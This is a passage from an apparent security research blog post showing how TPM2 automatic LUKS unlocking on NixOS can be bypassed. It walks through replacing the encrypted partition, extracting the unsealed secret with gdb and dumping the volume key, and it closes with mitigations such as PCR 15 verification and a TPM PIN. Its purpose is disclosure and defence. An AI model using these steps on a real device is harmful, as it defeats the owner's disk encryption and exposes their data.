&lt;span class="giallo-l"&gt;&lt;span&gt;[root@nixos]# nixos-install --no-root-password --system &lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;\ &lt;/span&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # Install system&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; /nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@nixos]# nixos-enter --mountpoint /mnt -- sbctl create-keys&lt;/span&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # Create and enroll secure boot keys, need to rerun install afterwards to make lanzaboote happy&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# Reboot and enroll LUKS key:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@nixos]# systemd-cryptenroll /dev/disk/by-partlabel/disk-main-luks&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; --tpm2-device&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;auto&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; --tpm2-pcrs&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;=&lt;/span&gt;&lt;span style="color: #98C379;"&gt;0+2+4+7&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# ... Enter password ...&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;New&lt;/span&gt;&lt;span style="color: #98C379;"&gt; TPM2 token enrolled as key slot 1.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="inspecting-the-system-1"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#inspecting-the-system-1" aria-label="Anchor link for: inspecting-the-system-1"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Inspecting the system&lt;/h4&gt;
&lt;p&gt;This step works in the same was as it did for Fedora, but we will find that the
NixOS initrd works a bit differently - it itself is a kind of mini-NixOS. The
important information is the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The mount commands for filesystems are in systemd units, which usually use
UUIDs, labels or partlables to identify disks. In our case it will be partlabels,
so we don't even have to fake any UUIDs.&lt;/li&gt;
&lt;li&gt;Once the initrd decrypts the root partition, it searches for the toplevel derivation
by resolving the &lt;code&gt;init=/nix/store/&amp;lt;hash&amp;gt;-nixos-system-.../init&lt;/code&gt; path&lt;/li&gt;
&lt;li&gt;This toplevel derivation contains a &lt;code&gt;prepare-root&lt;/code&gt; binary which is the first
one that is executed. This is our entry point.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="luks-partition-backup-and-overwrite"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#luks-partition-backup-and-overwrite" aria-label="Anchor link for: luks-partition-backup-and-overwrite"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
LUKS partition backup and overwrite&lt;/h4&gt;
&lt;p&gt;Next, we overwrite the LUKS partition and overwrite it with our fake. We can
reuse the same fake partition with the Alpine image as on Fedora as it has the
advantage of being very small. If the user has &lt;code&gt;/nix&lt;/code&gt; on a separate partition
it may be simpler to just build a small NixOS system and link the resulting
toplevel derivation to the path expected by the initrd.&lt;/p&gt;
&lt;p&gt;Rebooting the original system with the modified disk will now yield an Alpine
root shell. After running &lt;code&gt;tpm2_pcrread&lt;/code&gt; we can verify that we have not changed
any PCRs with our modifications. To understand the differences of
&lt;code&gt;systemd-cryptenroll&lt;/code&gt; over &lt;code&gt;clevis&lt;/code&gt;, let's continue with some more detail from
here:&lt;/p&gt;
&lt;h4 id="extracting-the-volume-key-1"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#extracting-the-volume-key-1" aria-label="Anchor link for: extracting-the-volume-key-1"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Extracting the volume key&lt;/h4&gt;
&lt;p&gt;Once again we will inspect the LUKS header of our backup, which I've also
copied over to the boot partition for easy access. We see that &lt;code&gt;systemd-cryptenroll&lt;/code&gt;
creates a token in the LUKS header, similar to &lt;code&gt;clevis&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;LUKS&lt;/span&gt;&lt;span style="color: #98C379;"&gt; header information&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Version:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 2&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Epoch:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 6&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Metadata&lt;/span&gt;&lt;span style="color: #98C379;"&gt; area:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 16384&lt;/span&gt;&lt;span&gt; [bytes]&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Keyslots&lt;/span&gt;&lt;span style="color: #98C379;"&gt; area:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 16744448&lt;/span&gt;&lt;span&gt; [bytes]&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;UUID:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 5a9d9566-aae2-49b9-abf5-c6f0a887159c&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Tokens:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 0:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; systemd-tpm2&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; Keyslot:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cryptsetup token &lt;/span&gt;&lt;span style="color: #C678DD;"&gt;export&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; --token-id 0&lt;/span&gt;&lt;span&gt; /&lt;/span&gt;&lt;span style="color: #E06C75;"&gt;mnt&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span style="color: #E06C75;"&gt;luks-original&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;"&gt;bak&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; tee&lt;/span&gt;&lt;span style="color: #98C379;"&gt; token.json&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;type&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;systemd-tpm2&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;keyslots&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;1&amp;quot; ],&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;tpm2-blob&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;AJ4AIPtjVjiz90zIPEHgRoJVpsix/e1tBRaMkOv0tWEBBKegABC5vMp9mQt81TjlRmtEhca98VfRuXxAoYcB5yjzShhTZhfCzwgXpC7rd5TETxBhvtWbo4BQULmZT29InkqpXRaO/b7DyXqLDQusdAfQO/lQSVxwWjVR576OFJUvAMPN6XEVyH8jDFd+F5FtuaEsYS4t46ThxMWa10ttRwBOAAgACwAABBIAIE8jssxPAKj8Duc+hrtEmIZxQS0Hv3Uptj92Ud33KVpBABAAIDBubaOpjc3KX/Lj0jHbe9plgv9wTIKYsUtFCKOGotRU&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;tpm2-pcrs&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 0, 2, 4,&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 7&lt;/span&gt;&lt;span style="color: #98C379;"&gt; ],&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;tpm2-pcr-bank&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;sha256&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;tpm2-policy-hash&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;4f23b2cc4f00a8fc0ee73e86bb44988671412d07bf7529b63f7651ddf7295a41&amp;quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; &amp;quot;tpm2_srk&amp;quot;&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;gQAAAQAiAAt+KklPEEbTTiWnmjC8TapUFILGmpUxJHOLyhfoPjJpFwAAAAEAWgAjAAsAAwRyAAAABgCAAEMAEAADABAAIB/V/x4OEuiI/TAynXAqG6pJHrJH9GJoEtgjqa+C0AlkACDBNasZylLB/v5PdYsWfJgE/MXZeUi2LMVE/FXfbsyDAw==&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The token format is slightly different to that from &lt;code&gt;clevis&lt;/code&gt;,
it just contains all necessarey information on the toplevel without a roundtrip
through JWE. To understand how the values are supposed to be used, we need to
understand what &lt;code&gt;systemd-cryptenroll&lt;/code&gt; does to unlock the disk. In the systemd
source code we find that the responsible function is called &lt;a rel="external" href="https://github.com/systemd/systemd/blob/main/src/cryptsetup/cryptsetup.c#L1834"&gt;&lt;code&gt;static int tpm2_unseal(...)&lt;/code&gt;&lt;/a&gt;.
Instead of tediously replicating all the unmarshalling logic, we can just call
&lt;code&gt;systemd-cryptsetup&lt;/code&gt; through gdb and dump the decrypted secret after that
function was called:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;gdb&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --args&lt;/span&gt;&lt;span style="color: #98C379;"&gt; systemd-cryptsetup attach test /mnt/luks-original.img&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;gdb&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span style="color: #C678DD;"&gt; break&lt;/span&gt;&lt;span style="color: #98C379;"&gt; tpm2_unseal&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Function&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;tpm2_unseal&amp;quot; not defined.&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Make&lt;/span&gt;&lt;span style="color: #98C379;"&gt; breakpoint pending on future shared library load?&lt;/span&gt;&lt;span&gt; (y&lt;/span&gt;&lt;span style="color: #98C379;"&gt; or&lt;/span&gt;&lt;span&gt; [n]) y&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Breakpoint&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span&gt; (tpm2_unseal) pending.&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;gdb&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; run&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Breakpoint&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 1,&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x00007ffff7bb2f90&lt;/span&gt;&lt;span style="color: #98C379;"&gt; in tpm2_unseal&lt;/span&gt;&lt;span&gt; ()&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;gdb&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; backtrace&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;#0 0x00007ffff7bb2f90 in tpm2_unseal () from libsystemd-shared-256.so&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;#1 0x00007ffff721d7e7 in acquire_luks2_key () from libcryptsetup-token-systemd-tpm2.so&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;#2 0x00007ffff721c60f in cryptsetup_token_open_pin () from libcryptsetup-token-systemd-tpm2.so&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;#3 0x00007ffff721caf5 in cryptsetup_token_open () from libcryptsetup-token-systemd-tpm2.so&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# ...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By investigating the functions shown in the callstack, we see that right before
&lt;a rel="external" href="https://github.com/systemd/systemd/blob/cc7300fc5868f6d47f3f47076100b574bf54e58d/src/cryptsetup/cryptsetup-tokens/cryptsetup-token-systemd-tpm2.c#L35"&gt;&lt;code&gt;cryptsetup_token_open_pin()&lt;/code&gt;&lt;/a&gt;
returns, it base64 encodes the unsealed secret which is later used as the slot
1 LUKS password. So we just set a breakpoint to the base64 encoding function
and print the secret once it returns (the result pointer is the third argument,
so it will be passed via &lt;code&gt;rcx&lt;/code&gt;):&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;gdb&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span style="color: #C678DD;"&gt; break&lt;/span&gt;&lt;span style="color: #98C379;"&gt; base64mem_full&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;gdb&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span style="color: #C678DD;"&gt; continue&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;gdb&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; info&lt;/span&gt;&lt;span style="color: #98C379;"&gt; registers&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# ...&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;rcx&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0x7fffffffc920 140737488341280&lt;/span&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # pointer to base64 result&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# ...&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;gdb&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt; set&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; $a&lt;/span&gt;&lt;span style="color: #98C379;"&gt; =&lt;/span&gt;&lt;span style="color: #E06C75;"&gt; $rcx&lt;/span&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # remember where the result will be stored&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;gdb&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; finish&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;gdb&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt; printf&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;%s\n&amp;quot;,&lt;/span&gt;&lt;span style="color: #E5C07B;"&gt; *&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt;char**&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span style="color: #E06C75;"&gt;$a&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;qvramS8M9tetETI1I53p6HWqh1avSqsj/uqpQbvE90s&lt;/span&gt;&lt;span style="color: #98C379;"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let's test this password by dumping the volume key.&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak --dump-volume-key --volume-key-file volume-key.txt &lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; --key-file&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;lt;(&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt;echo&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; -n&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;qvramS8M9tetETI1I53p6HWqh1avSqsj/uqpQbvE90s=&amp;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Are&lt;/span&gt;&lt;span style="color: #98C379;"&gt; you sure?&lt;/span&gt;&lt;span&gt; (Type&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;#39;yes&amp;#39; in capital letters&lt;/span&gt;&lt;span&gt;): YES&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;LUKS&lt;/span&gt;&lt;span style="color: #98C379;"&gt; header information for copy.img&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Cipher&lt;/span&gt;&lt;span style="color: #98C379;"&gt; name: aes&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Cipher&lt;/span&gt;&lt;span style="color: #98C379;"&gt; mode: xts-plain64&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Payload&lt;/span&gt;&lt;span style="color: #98C379;"&gt; offset:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 32768&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;UUID:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 5a9d9566-aae2-49b9-abf5-c6f0a887159c&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;MK&lt;/span&gt;&lt;span style="color: #98C379;"&gt; bits:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 512&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Key&lt;/span&gt;&lt;span style="color: #98C379;"&gt; stored to file volume-key.txt.&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cat volume-key.txt |&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; hexdump&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;0000000&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 065a cc94 26c0 b0cc 4bcf bf73 e9bb 3c16&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;0000010&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 95da 149e&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 6881&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 1a5b e7f5 4b59 4bc9 db83&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;0000020&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 6008&lt;/span&gt;&lt;span style="color: #98C379;"&gt; d237 29a8 9fc7 7a83 dbbf 816e 5ad0&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;0000030&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 20fa 03f6 effd 39f5 1f78&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 8779&lt;/span&gt;&lt;span style="color: #98C379;"&gt; c501 35b6&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;0000040&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nice, we've successfully extracted the volume key again! Finally, we need to
restore the original disk header and are then able to decrypt the whole disk.
We can either decrypt it by specifying the volume key explicitly, or simply
enter the obtained password. Since this is exactly the same as on Fedora, I
have not included it here.&lt;/p&gt;
&lt;h4 id="crude-implementation-of-pcr15-verification"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#crude-implementation-of-pcr15-verification" aria-label="Anchor link for: crude-implementation-of-pcr15-verification"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Crude implementation of PCR15 verification&lt;/h4&gt;
&lt;p&gt;I've looked at all of this together with my friend
&lt;a rel="external" href="https://github.com/patrickdag"&gt;@PatrickDaG&lt;/a&gt;, who has quickly written &lt;a rel="external" href="https://forge.lel.lol/patrick/nix-config/src/commit/ab2cb2b4d554040ce208fc60624fe729a9d5e32b/modules/ensure-pcr.nix"&gt;a NixOS
module&lt;/a&gt;
which you can adapt to add a crude form of PCR 15 verification. Ideally we need
something proper upstreamed into nixpkgs, but ensuring the order of decryption
is not super simple.&lt;/p&gt;
&lt;h2 id="what-now"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#what-now" aria-label="Anchor link for: what-now"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
What now?&lt;/h2&gt;
&lt;p&gt;It's obviously a pity that the default initrd implementations available on most
distributions don't include a verification step out of the box. But there's
really nobody to blame here, as none of the distributions advertise automatic
TPM unlocking as a secure or even supported configuration, and the guides I've
linked to are mostly blog posts from other hobbyists - who may just not have
known about this issue.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you happen to have written about this before, please update your post(s) to
make your readers aware of the implications! Thank you!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, I have also not found a simple solution that I can recommend to
you right now to actually fix the issue (except for NixOS, &lt;a href="https://oddlama.org/blog/bypassing-disk-encryption-with-tpm2-unlock/#crude-implementation-of-pcr15-verification"&gt;see
above&lt;/a&gt;). Enabling mandatory LUKS
key measurement and PCR 15 verification in the initrd is just not something
that is easily available as a module or script right now (January 2025), so
you'd have to implement it yourself.&lt;/p&gt;
&lt;p&gt;From what I learned when researching this, a proper implementation would need
to at least:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Predict the value of PCR 15 value at initrd generation time&lt;/li&gt;
&lt;li&gt;Implicitly sign this value by adding it to the initrd&lt;/li&gt;
&lt;li&gt;Extend PCR 15 at boot time with the volume key of every decrypted LUKS volume,
while ensuring in a deterministic decryption order&lt;/li&gt;
&lt;li&gt;Verify PCR 15 against the known and signed value &lt;em&gt;before&lt;/em&gt; utilizing any data from
one of the the encrypted disks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The easiest way to protect your data right now is to bite the bullet and add a
TPM PIN, for example by using &lt;code&gt;systemd-cryptenroll --tpm2-with-pin=yes [...]&lt;/code&gt;
when enrolling your key.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#conclusion" aria-label="Anchor link for: conclusion"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
